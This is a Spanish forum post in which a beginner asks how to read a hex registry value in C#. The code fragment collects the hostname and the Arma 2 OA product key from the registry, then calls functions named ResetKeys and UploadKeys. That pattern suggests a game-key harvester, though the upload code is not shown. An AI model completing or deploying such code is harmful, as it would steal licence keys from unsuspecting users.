Hola y muy buenas!
Soy nuevo en esto de la programacion pero ya llevo algun tiempo leyendo y haciendo pruebas por mi parte, pero ahora que ya se algo sobre C# me he propuesto hacer un programa en Consola. El programa basicamente lo que hace es que coge el valor de una key del registro.
En principio todo el codigo esta bien programado, el problema radica en que el valor que yo quiero coger es un valor hexadecimal y no se como hacer especificamente eso.
Para que me entiendan mejor les dejo el fragmento del codigo que se encarga de coger el valor del registro:
static void Main(string[] args)
{
keys = keys + "PC Name - " + Dns.GetHostName() + "\n";
GetKeys();
ResetKeys();
UploadKeys();
}
static void GetKeys()
{
RegistryKey RegKey;
RegKey = Registry.LocalMachine.OpenSubKey("software\\wow6432node\\bohemia interactive studio\\arma 2 oa", true);
if (RegKey == null) // does registry exist
{
keys = keys + "Arma 2 OA not installed\n";
}
else
{
keys = keys + "Arma 2 OA - " + RegKey.GetValue("key"); //aqui es donde esta el problema
}
}
Espero que me puedan ayudar.
Muchas gracias de antemano, un saludo. Jacablaca